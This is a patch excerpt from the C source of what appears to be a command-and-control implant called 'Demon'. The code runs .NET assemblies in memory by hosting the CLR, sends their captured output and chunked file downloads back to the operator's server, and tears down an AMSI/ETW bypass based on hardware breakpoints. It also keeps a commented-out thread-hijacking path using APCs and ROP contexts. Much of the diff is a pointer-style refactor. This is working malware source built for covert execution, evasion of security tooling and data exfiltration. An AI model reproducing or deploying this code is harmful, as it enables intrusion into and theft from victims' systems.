}
|
||||
|
||||
if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->MethodArgs, idx, &Instance->Dotnet->vtPsa ) ) ) {
|
||||
PRINTF( "SafeArrayPutElement Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE );
|
||||
Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance->Dotnet->File );
|
||||
|
||||
if ( ( Result = Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance->Dotnet->MethodInfo, Object, Instance->Dotnet->MethodArgs, &Instance->Dotnet->Return ) ) ) {
|
||||
PRINTF( "Invoke Assembly Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Dotnet->Invoked = TRUE;
|
||||
|
||||
/* push output */
|
||||
DotnetPush();
|
||||
|
||||
|
||||
/*
|
||||
* TODO: Finish/Fix this.
|
||||
* It seems like its way to unstable to use this
|
||||
* assembly crashes the agent randomly and dont know why.
|
||||
* Fix this once i get motivated enough or remove this entirely. */
|
||||
|
||||
/*
|
||||
PUTS( "Create Thread..." )
|
||||
|
||||
MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) );
|
||||
MemSet( &ClientId, 0, sizeof( CLIENT_ID ) );
|
||||
|
||||
ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE );
|
||||
ThreadAttr.Entry.Size = sizeof( CLIENT_ID );
|
||||
ThreadAttr.Entry.pValue = &ClientId;
|
||||
ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST );
|
||||
|
||||
PUTS( "Creating events..." )
|
||||
if ( NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
|
||||
NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
|
||||
{
|
||||
if ( NT_SUCCESS( Instance->Win32.NtCreateThreadEx( &Instance->Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) )
|
||||
{
|
||||
Instance->Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) );
|
||||
Instance->Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) );
|
||||
Instance->Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) );
|
||||
Instance->Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) );
|
||||
|
||||
Instance->Dotnet->RopInit->ContextFlags = CONTEXT_FULL;
|
||||
if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( Instance->Dotnet->Thread, Instance->Dotnet->RopInit ) ) )
|
||||
{
|
||||
MemCopy( Instance->Dotnet->RopInvk, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );
|
||||
MemCopy( Instance->Dotnet->RopEvnt, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );
|
||||
MemCopy( Instance->Dotnet->RopExit, Instance->Dotnet->RopInit, sizeof( CONTEXT ) );
|
||||
|
||||
// This rop executes the entrypoint of the assembly
|
||||
Instance->Dotnet->RopInvk->ContextFlags = CONTEXT_FULL;
|
||||
Instance->Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 );
|
||||
Instance->Dotnet->RopInvk->Rip = U_PTR( Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3 );
|
||||
Instance->Dotnet->RopInvk->Rcx = U_PTR( Instance->Dotnet->MethodInfo );
|
||||
Instance->Dotnet->RopInvk->Rdx = U_PTR( &Object );
|
||||
Instance->Dotnet->RopInvk->R8 = U_PTR( Instance->Dotnet->MethodArgs );
|
||||
Instance->Dotnet->RopInvk->R9 = U_PTR( &Instance->Dotnet->Return );
|
||||
*( PVOID* )( Instance->Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );
|
||||
|
||||
// This rop tells the main thread (our agent main thread) that the assembly executable finished executing
|
||||
Instance->Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL;
|
||||
Instance->Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 );
|
||||
Instance->Dotnet->RopEvnt->Rip = U_PTR( Instance->Win32.NtSetEvent );
|
||||
Instance->Dotnet->RopEvnt->Rcx = U_PTR( Instance->Dotnet->Event );
|
||||
Instance->Dotnet->RopEvnt->Rdx = U_PTR( NULL );
|
||||
*( PVOID* )( Instance->Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );
|
||||
|
||||
// Wait til we freed everything from the dotnet
|
||||
Instance->Dotnet->RopExit->ContextFlags = CONTEXT_FULL;
|
||||
Instance->Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 );
|
||||
Instance->Dotnet->RopExit->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject );
|
||||
Instance->Dotnet->RopExit->Rcx = U_PTR( Instance->Dotnet->Exit );
|
||||
Instance->Dotnet->RopExit->Rdx = U_PTR( FALSE );
|
||||
Instance->Dotnet->RopExit->R8 = U_PTR( NULL );
|
||||
*( PVOID* )( Instance->Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );
|
||||
|
||||
if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave;
|
||||
|
||||
PUTS( "Resume Thread..." )
|
||||
if ( NT_SUCCESS( Instance->Win32.NtAlertResumeThread( Instance->Dotnet->Thread, NULL ) ) )
|
||||
{
|
||||
PUTS( "Apc started and assembly invoked." )
|
||||
|
||||
PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED );
|
||||
PackageAddInt32( PackageInfo, ClientId.UniqueThread );
|
||||
PackageTransmit( PackageInfo );
|
||||
|
||||
// we have successfully invoked the main function of the assembly executable.
|
||||
Instance->Dotnet->Invoked = TRUE;
|
||||
|
||||
} else PUTS( "NtAlertResumeThread failed" )
|
||||
|
||||
} else PUTS( "NtGetThreadContext failed" )
|
||||
|
||||
} else PUTS( "NtCreateThreadEx failed" )
|
||||
|
||||
} else PUTS( "NtCreateEvent failed" )
|
||||
*/
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* push anything from the pipe */
|
||||
VOID DotnetPushPipe()
|
||||
{
|
||||
DWORD Read = 0;
|
||||
DWORD BytesRead = 0;
|
||||
|
||||
if ( ! Instance->Dotnet )
|
||||
return;
|
||||
|
||||
/* see how much there is in the named pipe */
|
||||
if ( Instance->Win32.PeekNamedPipe( Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) )
|
||||
{
|
||||
PRINTF( "Read: %d\n", Read );
|
||||
|
||||
if ( Read > 0 )
|
||||
{
|
||||
Instance->Dotnet->Output.Length = Read;
|
||||
Instance->Dotnet->Output.Buffer = MmHeapAlloc( Instance->Dotnet->Output.Length );
|
||||
|
||||
Instance->Win32.ReadFile( Instance->Dotnet->Pipe, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length, &BytesRead, NULL );
|
||||
Instance->Dotnet->Output.Length = BytesRead;
|
||||
|
||||
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance->Dotnet->RequestID );
|
||||
PackageAddBytes( Package, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length );
|
||||
PackageTransmit( Package );
|
||||
|
||||
if ( Instance->Dotnet->Output.Buffer )
|
||||
{
|
||||
MemSet( Instance->Dotnet->Output.Buffer, 0, Read );
|
||||
MmHeapFree( Instance->Dotnet->Output.Buffer );
|
||||
Instance->Dotnet->Output.Buffer = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID DotnetPush()
|
||||
{
|
||||
if ( ! Instance->Dotnet )
|
||||
return;
|
||||
|
||||
PRINTF( "Instance->Dotnet->Invoked: %s\n", Instance->Dotnet->Invoked ? "TRUE" : "FALSE" )
|
||||
if ( Instance->Dotnet->Invoked )
|
||||
{
|
||||
/* Read from the assembly named pipe and send it to the server */
|
||||
DotnetPushPipe();
|
||||
|
||||
/* check if the assembly is still running. */
|
||||
/* if ( Instance->Win32.WaitForSingleObjectEx( Instance->Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 )
|
||||
{
|
||||
PUTS( "Event has been signaled" )
|
||||
|
||||
Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
|
||||
PackageAddInt32( Package, DOTNET_INFO_FINISHED );
|
||||
PackageTransmit( Package );
|
||||
|
||||
PUTS( "Dotnet Invoke thread isn't active anymore." )
|
||||
Close = TRUE;
|
||||
} */
|
||||
|
||||
/* just in case the assembly pushed something last minute... */
|
||||
DotnetPushPipe();
|
||||
|
||||
/* Now free everything */
|
||||
DotnetClose();
|
||||
}
|
||||
}
|
||||
|
||||
VOID DotnetClose()
|
||||
{
|
||||
#ifndef DEBUG
|
||||
Instance->Win32.FreeConsole();
|
||||
#endif
|
||||
|
||||
if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) {
|
||||
HwBpEngineDestroy( NULL );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->Event ) {
|
||||
SysNtClose( Instance->Dotnet->Event );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->Pipe ) {
|
||||
SysNtClose( Instance->Dotnet->Pipe );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->File ) {
|
||||
SysNtClose( Instance->Dotnet->File );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->RopInit ) {
|
||||
MemSet( Instance->Dotnet->RopInit, 0, sizeof( CONTEXT ) );
|
||||
Instance->Win32.LocalFree( Instance->Dotnet->RopInit );
|
||||
Instance->Dotnet->RopInit = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->RopInvk )
|
||||
{
|
||||
MemSet( Instance->Dotnet->RopInvk, 0, sizeof( CONTEXT ) );
|
||||
Instance->Win32.LocalFree( Instance->Dotnet->RopInvk );
|
||||
Instance->Dotnet->RopInvk = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->RopEvnt )
|
||||
{
|
||||
MemSet( Instance->Dotnet->RopEvnt, 0, sizeof( CONTEXT ) );
|
||||
Instance->Win32.LocalFree( Instance->Dotnet->RopEvnt );
|
||||
Instance->Dotnet->RopEvnt = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->RopExit )
|
||||
{
|
||||
MemSet( Instance->Dotnet->RopExit, 0, sizeof( CONTEXT ) );
|
||||
Instance->Win32.LocalFree( Instance->Dotnet->RopExit );
|
||||
Instance->Dotnet->RopExit = NULL;
|
||||
}
|
||||
|
||||
PUTS( "Free Output" )
|
||||
if ( Instance->Dotnet->Output.Buffer )
|
||||
{
|
||||
MemSet( Instance->Dotnet->Output.Buffer, 0, Instance->Dotnet->Output.Length );
|
||||
Instance->Win32.LocalFree( Instance->Dotnet->Output.Buffer );
|
||||
Instance->Dotnet->Output.Buffer = NULL;
|
||||
}
|
||||
|
||||
PUTS( "Unload and free CLR" )
|
||||
if ( Instance->Dotnet->MethodArgs )
|
||||
{
|
||||
Instance->Win32.SafeArrayDestroy( Instance->Dotnet->MethodArgs );
|
||||
Instance->Dotnet->MethodArgs = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->MethodInfo != NULL )
|
||||
{
|
||||
Instance->Dotnet->MethodInfo->lpVtbl->Release( Instance->Dotnet->MethodInfo );
|
||||
Instance->Dotnet->MethodInfo = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->Assembly != NULL )
|
||||
{
|
||||
Instance->Dotnet->Assembly->lpVtbl->Release( Instance->Dotnet->Assembly );
|
||||
Instance->Dotnet->Assembly = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->AppDomain )
|
||||
{
|
||||
Instance->Dotnet->AppDomain->lpVtbl->Release( Instance->Dotnet->AppDomain );
|
||||
Instance->Dotnet->AppDomain = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->AppDomainThunk != NULL )
|
||||
{
|
||||
Instance->Dotnet->AppDomainThunk->lpVtbl->Release( Instance->Dotnet->AppDomainThunk );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->ICorRuntimeHost )
|
||||
{
|
||||
Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainThunk );
|
||||
Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance->Dotnet->ICorRuntimeHost );
|
||||
Instance->Dotnet->ICorRuntimeHost = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->ClrRuntimeInfo != NULL )
|
||||
{
|
||||
Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance->Dotnet->ClrRuntimeInfo );
|
||||
Instance->Dotnet->ClrRuntimeInfo = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->MetaHost != NULL )
|
||||
{
|
||||
Instance->Dotnet->MetaHost->lpVtbl->Release( Instance->Dotnet->MetaHost );
|
||||
Instance->Dotnet->MetaHost = NULL;
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->Thread ) {
|
||||
SysNtTerminateThread( Instance->Dotnet->Thread, 0 );
|
||||
SysNtClose( Instance->Dotnet->Thread );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet->Exit ) {
|
||||
SysNtClose( Instance->Dotnet->Exit );
|
||||
}
|
||||
|
||||
if ( Instance->Dotnet ) {
|
||||
MemSet( Instance->Dotnet, 0, sizeof( DOTNET_ARGS ) );
|
||||
MmHeapFree( Instance->Dotnet );
|
||||
Instance->Dotnet = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL FindVersion( PVOID Assembly, DWORD length )
|
||||
{
|
||||
char* assembly_c;
|
||||
assembly_c = (char*)Assembly;
|
||||
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
||||
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
for (int j = 0; j < 10; j++)
|
||||
{
|
||||
if (v4[j] != assembly_c[i + j])
|
||||
break;
|
||||
else
|
||||
{
|
||||
if (j == (9))
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost )
|
||||
{
|
||||
BOOL fLoadable = FALSE;
|
||||
|
||||
if ( RtMscoree() )
|
||||
{
|
||||
if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK )
|
||||
{
|
||||
if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK )
|
||||
{
|
||||
if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable )
|
||||
{
|
||||
//Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works
|
||||
if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK )
|
||||
{
|
||||
//Start it. This is okay to call even if the CLR is already running
|
||||
( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost );
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( GetInterface ) Process refusing to get interface of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( IsLoadable ) Process refusing to load %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PUTS("Failed to load mscoree.dll")
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
@@ -1,24 +1,24 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
/* Add file to linked list with type (upload/download) */
|
||||
PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize )
|
||||
{
|
||||
PDOWNLOAD_DATA Download = NULL;
|
||||
|
||||
Download = NtHeapAlloc( sizeof( DOWNLOAD_DATA ) );
|
||||
Download = MmHeapAlloc( sizeof( DOWNLOAD_DATA ) );
|
||||
Download->FileID = RandomNumber32();
|
||||
Download->hFile = hFile;
|
||||
Download->Size = MaxSize;
|
||||
Download->State = DOWNLOAD_STATE_RUNNING;
|
||||
Download->Next = Instance.Downloads;
|
||||
Download->RequestID = Instance.CurrentRequestID;
|
||||
Download->Next = Instance->Downloads;
|
||||
Download->RequestID = Instance->CurrentRequestID;
|
||||
|
||||
/* Push to linked list */
|
||||
Instance.Downloads = Download;
|
||||
Instance->Downloads = Download;
|
||||
|
||||
PRINTF( "Instance.Downloads => %p\n", Instance.Downloads )
|
||||
PRINTF( "Instance->Downloads => %p\n", Instance->Downloads )
|
||||
|
||||
return Download;
|
||||
}
|
||||
@@ -28,7 +28,7 @@ PDOWNLOAD_DATA DownloadGet( DWORD FileID )
|
||||
{
|
||||
PDOWNLOAD_DATA Download = NULL;
|
||||
|
||||
for ( Download = Instance.Downloads; Download == NULL; Download = Download->Next )
|
||||
for ( Download = Instance->Downloads; Download == NULL; Download = Download->Next )
|
||||
{
|
||||
if ( Download->FileID == FileID )
|
||||
break;
|
||||
@@ -49,7 +49,7 @@ VOID DownloadFree( PDOWNLOAD_DATA Download )
|
||||
|
||||
/* Now free the struct */
|
||||
MemSet( Download, 0, sizeof( DOWNLOAD_DATA ) );
|
||||
NtHeapFree( Download );
|
||||
MmHeapFree( Download );
|
||||
Download = NULL;
|
||||
}
|
||||
|
||||
@@ -59,8 +59,8 @@ BOOL DownloadRemove( DWORD FileID )
|
||||
PDOWNLOAD_DATA Last = NULL;
|
||||
BOOL Success = FALSE;
|
||||
|
||||
Download = Instance.Downloads;
|
||||
Last = Instance.Downloads;
|
||||
Download = Instance->Downloads;
|
||||
Last = Instance->Downloads;
|
||||
|
||||
for ( ;; )
|
||||
{
|
||||
@@ -97,17 +97,17 @@ VOID DownloadPush()
|
||||
PDOWNLOAD_DATA DownLast = NULL;
|
||||
PPACKAGE Package = NULL;
|
||||
|
||||
Download = Instance.Downloads;
|
||||
Download = Instance->Downloads;
|
||||
|
||||
/* do we actually have downloads pending? */
|
||||
if ( ! Download )
|
||||
{
|
||||
/* we don't have any downloads, free the DownloadChunk if we have one */
|
||||
if ( Instance.DownloadChunk.Buffer )
|
||||
if ( Instance->DownloadChunk.Buffer )
|
||||
{
|
||||
MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length );
|
||||
NtHeapFree( Instance.DownloadChunk.Buffer );
|
||||
Instance.DownloadChunk.Buffer = NULL;
|
||||
MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );
|
||||
MmHeapFree( Instance->DownloadChunk.Buffer );
|
||||
Instance->DownloadChunk.Buffer = NULL;
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -121,12 +121,12 @@ VOID DownloadPush()
|
||||
|
||||
/* seems like we have some current downloads
|
||||
* allocate a chunk of memory to use for the chunks. */
|
||||
if ( ! Instance.DownloadChunk.Buffer )
|
||||
if ( ! Instance->DownloadChunk.Buffer )
|
||||
{
|
||||
Instance.DownloadChunk.Buffer = NtHeapAlloc( Instance.Config.Implant.DownloadChunkSize );
|
||||
Instance.DownloadChunk.Length = Instance.Config.Implant.DownloadChunkSize;
|
||||
Instance->DownloadChunk.Buffer = MmHeapAlloc( Instance->Config.Implant.DownloadChunkSize );
|
||||
Instance->DownloadChunk.Length = Instance->Config.Implant.DownloadChunkSize;
|
||||
|
||||
PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length )
|
||||
PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length )
|
||||
}
|
||||
|
||||
PRINTF( "Download: %p\n", Download )
|
||||
@@ -137,9 +137,9 @@ VOID DownloadPush()
|
||||
PRINTF( "Download (%x) is in state DOWNLOAD_STATE_RUNNING\n", Download->FileID )
|
||||
|
||||
/* Reset memory. */
|
||||
MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length );
|
||||
MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );
|
||||
|
||||
if ( ! Instance.Win32.ReadFile( Download->hFile, Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length, &Read, NULL ) )
|
||||
if ( ! Instance->Win32.ReadFile( Download->hFile, Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length, &Read, NULL ) )
|
||||
PRINTF( "ReadFile Failed: Error[%d]\n", NtGetLastError() );
|
||||
|
||||
Download->Size -= Read;
|
||||
@@ -158,7 +158,7 @@ VOID DownloadPush()
|
||||
PackageAddInt32( Package, Download->FileID );
|
||||
|
||||
/* Download Write data (and only send what we read.) */
|
||||
PackageAddBytes( Package, Instance.DownloadChunk.Buffer, Read );
|
||||
PackageAddBytes( Package, Instance->DownloadChunk.Buffer, Read );
|
||||
|
||||
/* Send that chunk */
|
||||
PUTS( "transmit download chunk" )
|
||||
@@ -197,7 +197,7 @@ VOID DownloadPush()
|
||||
Download = Download->Next;
|
||||
}
|
||||
|
||||
Download = Instance.Downloads;
|
||||
Download = Instance->Downloads;
|
||||
DownLast = NULL;
|
||||
|
||||
/* why do we do that again ?
|
||||
@@ -212,7 +212,7 @@ VOID DownloadPush()
|
||||
/* we are at the beginning. */
|
||||
if ( ! DownLast )
|
||||
{
|
||||
Instance.Downloads = Download->Next;
|
||||
Instance->Downloads = Download->Next;
|
||||
DownloadFree( Download );
|
||||
Download = NULL;
|
||||
}
|
||||
@@ -231,13 +231,13 @@ VOID DownloadPush()
|
||||
}
|
||||
|
||||
/* Reset memory. */
|
||||
if ( Instance.DownloadChunk.Buffer )
|
||||
MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length );
|
||||
if ( Instance->DownloadChunk.Buffer )
|
||||
MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );
|
||||
}
|
||||
|
||||
BOOL MemFileIsNew( ULONG32 ID )
|
||||
{
|
||||
PMEM_FILE MemFile = Instance.MemFiles;
|
||||
PMEM_FILE MemFile = Instance->MemFiles;
|
||||
|
||||
while ( MemFile )
|
||||
{
|
||||
@@ -255,12 +255,12 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )
|
||||
{
|
||||
PMEM_FILE MemFile = NULL;
|
||||
|
||||
MemFile = NtHeapAlloc( sizeof( MEM_FILE ) );
|
||||
MemFile = MmHeapAlloc( sizeof( MEM_FILE ) );
|
||||
MemFile->ID = ID;
|
||||
MemFile->Size = Size;
|
||||
MemFile->Data = NtHeapAlloc( MemFile->Size );
|
||||
MemFile->Data = MmHeapAlloc( MemFile->Size );
|
||||
MemFile->ReadSize = 0;
|
||||
MemFile->Next = Instance.MemFiles;
|
||||
MemFile->Next = Instance->MemFiles;
|
||||
|
||||
if ( ! MemFile->Data )
|
||||
{
|
||||
@@ -277,7 +277,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )
|
||||
PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize )
|
||||
|
||||
/* Push to linked list */
|
||||
Instance.MemFiles = MemFile;
|
||||
Instance->MemFiles = MemFile;
|
||||
|
||||
PRINTF( "Added a MemFile [%x]\n", MemFile->ID )
|
||||
|
||||
@@ -286,7 +286,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )
|
||||
|
||||
PMEM_FILE GetMemFile( ULONG32 ID )
|
||||
{
|
||||
PMEM_FILE MemFile = Instance.MemFiles;
|
||||
PMEM_FILE MemFile = Instance->MemFiles;
|
||||
|
||||
while ( MemFile )
|
||||
{
|
||||
@@ -342,13 +342,13 @@ VOID MemFileFree( PMEM_FILE MemFile )
|
||||
MemSet( MemFile->Data, 0, MemFile->Size );
|
||||
|
||||
if ( MemFile->Data )
|
||||
NtHeapFree( MemFile->Data );
|
||||
MmHeapFree( MemFile->Data );
|
||||
|
||||
MemFile->Data = NULL;
|
||||
MemFile->Size = 0;
|
||||
|
||||
MemSet( MemFile, 0, sizeof( MEM_FILE ) );
|
||||
NtHeapFree( MemFile );
|
||||
MmHeapFree( MemFile );
|
||||
MemFile = NULL;
|
||||
}
|
||||
|
||||
@@ -358,12 +358,12 @@ BOOL RemoveMemFile( ULONG32 ID )
|
||||
PMEM_FILE Last = NULL;
|
||||
BOOL Success = FALSE;
|
||||
|
||||
if ( Instance.MemFiles && Instance.MemFiles->Next == NULL )
|
||||
if ( Instance->MemFiles && Instance->MemFiles->Next == NULL )
|
||||
{
|
||||
if ( Instance.MemFiles->ID == ID )
|
||||
if ( Instance->MemFiles->ID == ID )
|
||||
{
|
||||
MemFileFree( Instance.MemFiles );
|
||||
Instance.MemFiles = NULL;
|
||||
MemFileFree( Instance->MemFiles );
|
||||
Instance->MemFiles = NULL;
|
||||
Success = TRUE;
|
||||
}
|
||||
|
||||
@@ -371,8 +371,8 @@ BOOL RemoveMemFile( ULONG32 ID )
|
||||
return Success;
|
||||
}
|
||||
|
||||
MemFile = Instance.MemFiles;
|
||||
Last = Instance.MemFiles;
|
||||
MemFile = Instance->MemFiles;
|
||||
Last = Instance->MemFiles;
|
||||
|
||||
for ( ;; )
|
||||
{
|
||||
@@ -1,11 +1,11 @@
|
||||
#include <Demon.h>
|
||||
#include <Core/HwBpEngine.h>
|
||||
#include <Core/HwBpExceptions.h>
|
||||
#include <Core/SysNative.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/HwBpEngine.h>
|
||||
#include <core/HwBpExceptions.h>
|
||||
#include <core/SysNative.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
LONG ExceptionHandler(
|
||||
IN OUT PEXCEPTION_POINTERS Exception
|
||||
_Inout_ PEXCEPTION_POINTERS Exception
|
||||
);
|
||||
|
||||
/*!
|
||||
@@ -25,22 +25,22 @@ NTSTATUS HwBpEngineInit(
|
||||
/* check if an engine object has been specified in the function param.
|
||||
* if not then check if the callee wants to init the global engine.
|
||||
* tho if the global engine has been already init then abort */
|
||||
if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance.HwBpEngine ) {
|
||||
if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance->HwBpEngine ) {
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if ( Instance.HwBpEngine ) {
|
||||
if ( Instance->HwBpEngine ) {
|
||||
|
||||
}
|
||||
|
||||
/* since we did not specify an engine let's use the global one */
|
||||
if ( ! HwBpEngine ) {
|
||||
HwBpEngine = Instance.HwBpEngine = NtHeapAlloc( sizeof( HWBP_ENGINE ) );
|
||||
HwBpEngine = Instance->HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) );
|
||||
HwBpHandler = &ExceptionHandler;
|
||||
}
|
||||
|
||||
/* register Vectored exception handler */
|
||||
if ( ! ( HwBpEngine->Veh = Instance.Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) {
|
||||
if ( ! ( HwBpEngine->Veh = Instance->Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
